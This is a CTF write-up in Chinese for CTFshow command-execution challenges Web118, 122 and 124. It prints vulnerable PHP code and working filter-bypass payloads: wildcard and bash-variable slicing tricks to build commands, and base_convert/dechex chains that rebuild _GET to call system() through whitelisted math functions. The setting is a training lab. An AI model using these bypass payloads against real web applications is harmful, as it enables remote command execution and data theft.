CTFshow-命令执行(Web118-122,124)
Web118
输入ls,cat 等脚本都不行,fuzz测试一下
我们的payload一般是cat/nl等命令
+flag.php
。flag.php
我们可以用通配符代替????.???
。cat/nl等命令
我们可以用Bash内置变量
。
环境变量PATH
一般是/bin
,题目路径PWD
是/var/www/html
。
但是题目过滤了数字,无法使用切片。换一种方式获取字符。
linux可以利用~
获得变量的最后几位(从最后开始获取),使用取反号时,任何字母等同于数字0。
${IFS}可以,其他都不太行
${PATH:~A}${PWD:~A}
表示的就是PATH
的最后一个字母和PWD
的最后一个字母,组合起来就是nl
1 2 3 4 5 6 7 8
| $PWD和${PWD} 表示当前所在的目录 /var/www/html ${#PWD} 13 前面加个#表示当前目录字符串长度 ${PWD:3} r/www/html 代表从第几位开始截取到后面的所有字符(从零开始) ${PWD:~3} html 代表从最后面开始向前截取几位(从零开始) ${PWD:3:1} r ${PWD:~3:1} h ${PWD:~A} l 这里的A其实就是表示1 ${SHLVL:~A} 1 代表数字1
|
1
| ${PATH:~A}${PWD:~A} ????.???
|
还有几种方法:
1 2 3
| ${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.??? ${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.??? ${PATH:~A}${PWD:~A:${##}} ????.???
|
尝试构造/bin/cat flag.php或/bin/base64 flag.php

可以构造出/???/?????4 ???????? 4 的话可以通过$}???${PWD::$}?????$}???${PWD::$}??${PWD:$:$} ????.??? 就是/bin/rev flag.php
Linux命令rev是将文件中的每行内容已字符为单位反向输出,即第一个字符最后输出,最后一个字符最先输出
Web122
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST['code'])){ $code=$_POST['code']; if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){ if(strlen($code)>65){ echo '<div align="center">'.'you are so long , I dont like '.'</div>'; } else{ echo '<div align="center">'.system($code).'</div>'; } } else{ echo '<div align="center">evil input</div>'; } } ?>
|
PWD,#没了
执行<A等命令会因找不到目录或者文件执行失败,返回值是1,$?获取上一条命令执行结束后的返回值就是1。我们就成功构造出了数字1。
数字4还是用RANDOM随机数来获取,不过是换种方式,1/10的概率,多发几次包
1
| code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
|
构造错误命令,使$?的结果为1,代替$来分割,可以用命令<A然后下一条命令中的$?就等价于1了,
一直发包就行了
Web124
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php error_reporting(0); if(!isset($_GET['c'])){ show_source(__FILE__); }else{ $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } eval('echo '.$content.';'); }
|
观察题目源码发现,过滤了大部分的东西,因此我们只能使用白名单的参数
但是题目的参数并不支持我们执行命令执行,因此我们要想办法绕过
于是我们想到了,让参数逃逸,这样无论我们输入什么都不被过滤
于是
这里我们的参数也被过滤了,但是有白名单,因此我们使用白名单里面的参数进行传参
但是$_GET被过滤了,怎么构造呢?
在白名单中我们发现有base_convert、dechex
等函数,看看想办法能不能让他构造参数
首先要构造_GET
1 2 3 4
| base_convert(number,frombase,tobase):在任意进制之间转换数字 dechex():把十进制数转换为十六进制数 hex2bin():把十六进制值的字符串转换为二进制,返回 ASCII 字符 最重要的是hex2bin函数,但是不在白名单里面
|
构造流程
1 2
| base_convert('hex2bin',36,10) --> 37907361743 _GET → hex十六进制 5f474554 (不能有字母所以十六进制不行) → dec十进制 1598506324
|
我们首先将bin2hex('_GET');->'5f474554'
发现有字母,因此不行,想办法把16进制变成2进制并且返回其ASCII码,于是就要用到hex2bin()
函数,但是这个函数被禁用了,我们要想办法构造该函数base_convert('hex2bin',36,10);-> 37907361743
(因为36进制中有数字0-9和字母a-z)
然后我们构造_GET=base_convert(37907361743,10,36)(dechex(1598506324));
再利用变量的嵌套$$pi=$_GET
然后利用变量的索引{}
绕过[]
{abs}
表示字符串中的数组或字符索引,实际上是访问某个数组元素或字符串中的特定字符。
如
1 2 3 4 5
| $example{abs}等价于$example['abs'] 也就是 $$pi{abs}($$pi{acos});&abs=system&acos=ls 等价于$_GET[abs]($_GET[acos]) 等价于system(ls)
|
于是payload
1 2
| ?c=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*
|
ctf.show
1
| c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls
|
1 2 3 4 5 6 7 8 9 10
| ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag.php
?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20flag.php
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1}) //要在请求头里面加一个 1:tac flag.php 见下图
|